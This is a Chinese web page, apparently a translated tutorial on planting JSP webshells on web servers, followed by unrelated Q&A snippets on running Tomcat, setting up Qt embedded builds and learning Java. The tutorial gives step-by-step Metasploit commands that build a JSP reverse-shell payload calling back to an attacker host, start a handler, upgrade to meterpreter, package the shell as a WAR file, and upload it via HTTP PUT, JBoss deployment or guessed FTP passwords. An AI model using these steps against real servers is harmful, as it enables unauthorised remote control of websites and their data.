
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站 服务器 WEB目录下正常的网页文件混在一起,然后就可以使用浏览器…
现如今,使用JSP开发的的网站越来越多,很多大公司的数据中心也会使用这种架构。在我的渗透经验之中,拿下JSP网站的主要方法就是上传Shell从而执行命令。在下面的文章中我将举两个JSP shell code的例子,和几个常见的上传shell的方法。
对于不怎么熟悉Web Shell的人来说,我前文指的JSP Shell是一段”Java Server Page”这段代码可以允许任何指令在服务器上执行。一般来说,Shell通过一个HTML from来接受需要执行的指令。下面,我对于每个例子都会给出基本的Shell代码。我个人比较喜欢用,Metasploit JSP shells,因为它具有很好的稳定性和清爽的界面。
基本JSP shell
这是一个最简单的 JSP Shell,使用方法如下。
(1)保存为cmd.jsp上传到服务器。
(2)访问这个页面,执行命令。
Metasploit JSP Shell
在攻击中使用Metasploit JSP Shell大概需要六步。
(1)使用msfpayload创建一个cmd.jsp
(2)上传cmd.jsp到服务器
(3)运行Metasploit multi-handler
(4)访问cmd.jsp
(5)获得shell
(6)如果是windows,升级到meterpreter shell
创建一个JSP Shell可以使用如下的命令,LHOST代表了自己主机的地址。
ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp
上面的指令成功执行之后,Metasploit会生cmd.jsp的源代码,有些情况下你可能需要修改其中的一些变量来绕过防火墙的检测。
之后就是把cmd.jsp文件上传到目标服务器。假设上传后的地址是,之后就开始运用Metasploit multi handler,打开msfconsole使用如下命令。
use exploit/multi/handler setg LHOST 192.168.100.110 setg LPORT 53 setg PAYLOAD java/jsp_shell_reverse_tcp setg SHELL cmd.exe exploit –j -z
最后访问,msfconsole就会受到反弹回来的链接。
你可以通过以下的指令访问这条shell
sessions –I 1
如果目标主机是一个windows主机,可以用以下的指令吧shell升级成一个meter-preter shell
sessions –U 1
打包JSP Shells
有些情况下,需要把cmd.jsp打包成一个WAR文件(比如JBoss).在windows环境下,需要如下几步。
(1)安装JDK
(2)新建 WEB-INF目录
(3)在 WEB-INF/web.xml 中输入如下内容
(4)使用如下命令可以把jsp,文件打包成jar包。
"C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe" cvf cmd.war WEB-INF cmd.jsp
Shell上传
使用PUT方法
PUT方法是HTTP的一个扩展协议,允许用户向服务器上传文件。很久以前这个漏洞还是很流行的。
基本所有扫描工具都可以,扫描到这个漏洞,也可以通过ncat之类的工具找到这个漏洞。我比较喜欢
使用burp,使用burp检测这个漏洞,需要如下几步。
(1) 进入repeater tab选项卡
(2) 构造如下文件头
PUT /path/cmd.jsp HTTP/1.1 Host: Content-Length: 0
(3) 在文件头下面连续输入两次回车之后输入JSP shell code。
(4) 在burp下提交构造好的包。
上传方式
一般情况下,网站对于上传文件的类型都有很严格的控制,但攻击者仍然有几种方法来绕过他们。这里就不详细叙述了。
发布WAR文件
有一些服务器软件会使用到WAR,其中一些会提供用户上传WAR文件的接口。有些会允许用户使用一些外部源。Josh Abraham 写了一些jBoss metasploit exploits,叫做jboss_maindeployer。这里还有一篇比较不错的paper来讲针对jBoss的攻击。
文件共享
有的时候,网站的主目录会被部署到ftp服务器上,如果能猜到密码或者是ftp使用了默认的密码。就可以通过ftp来上传shell。
其实这是一篇科普文。最后对于文件上传技巧的叙述比较冗长有删节。
原文地址:
linux下怎么关闭tomcat服务?
关闭服务命令有两个,切换到tomcat主目录下的bin目录(cd usr/local/tomcat/bin),然后执行命令:(1) ./(2) ./catalina stop这两个命令对于效果都是没有很大区别的,其实还有一个更为直接的,就是当你启动是用./catalina run启动的时候在终端输入ctrl+c就会停掉tomcat服务了。 Tomcat就是用来解析jsp程序的一个软件,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta项目中的一个核心项目,由Apache、Sun和其他一些公司及个人共同开发而成。 Tomcat是一个轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。 对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache服务器,可利用它响应对HTML 页面的访问请求。 实际上Tomcat 部分是Apache服务器的扩展,但它是独立运行的,所以当你运行tomcat时,它实际上作为一个与Apache 独立的进程单独运行的。 启动tomcat服务的方法:方式一:直接启动 ./。 方式二:作为服务启动 nohup ./&。 方式三:控制台动态输出方式启动 ./ run 动态地显示tomcat后台的控制台输出信息,Ctrl+C后退出并关闭服务通过方式一启动的tomcat有个弊端,当客户端连接断开的时候,tomcat服务也就立即关闭了。 通过方式二启动的tomcat,其日志会写到相应的日志文件中,而不能动态地查看tomcat控制台的输出信息与错误情况,通过以下命令可以以控制台模式启动tomcat服务,这样便于跟踪查阅后台输出信息通过。 通过方式三启动的服务,如果客户端连接关闭,服务也会立即停止。
linux下qt4.6如何搭建嵌入式环境?
先安Qt 4.4 X11, 然后安Qt Extended 4.4,完全按照文档安就行,无需安装Qt Embedded。 交叉编译就是换一个编译器,比如arm的gcc编译,并不复杂,但是根据你设备的特点,要进行其他一些移植,比如各种驱动的整合,输入输出设备的插件编写等等,这些工作是很复杂的,一般一两个有经验的嵌入式工程师也要做几个月时间。 具体的你可以去东方赛富看看,他们在这方面是非常专业的。
当java程序员应该学什么,并且学的顺序是什么
java有三个方向:1 桌面应用程序开发 不过个人认为这个很少2 j2me也就是手机里一些小程序的开发3 j2ee 企业级开发 也是最有前途的 下面是本人j2ee学习的路径 是当时老师跟我讲的第一步:入门 随便找一本简单的详细的书看完第二部:看thinking in Java这本书讲解深入 有难度 看完的话受益匪浅 如果 觉得thinking in java 太难的话 就看java核心技术 简单一些 一共两卷 买盗版的吧 很便宜 哈哈 下面就是另外的一层境界了第三步:html css javascript 这些不是java的内容 但一定要了解第四步:jsp、servlet JavaBean这个没什么可说的 张孝祥的书不错 很全面 这时可以做个小网站什么的 用mvc设计模式 也就是JSP 负责显示界面 相当于MVC中的 VServlet 负责历程控制相当于MVC中的 CJavaBean 负责功能 相当于MVC中的 M 第五步:学习struts springhibernate框架 这时也可以做一些小项目了 实践一下当然你会发现实际练习中会有很多问题出现 这是提搞的好机会第六部:ejb 这是一个重量级的东西 慢慢学吧
发表评论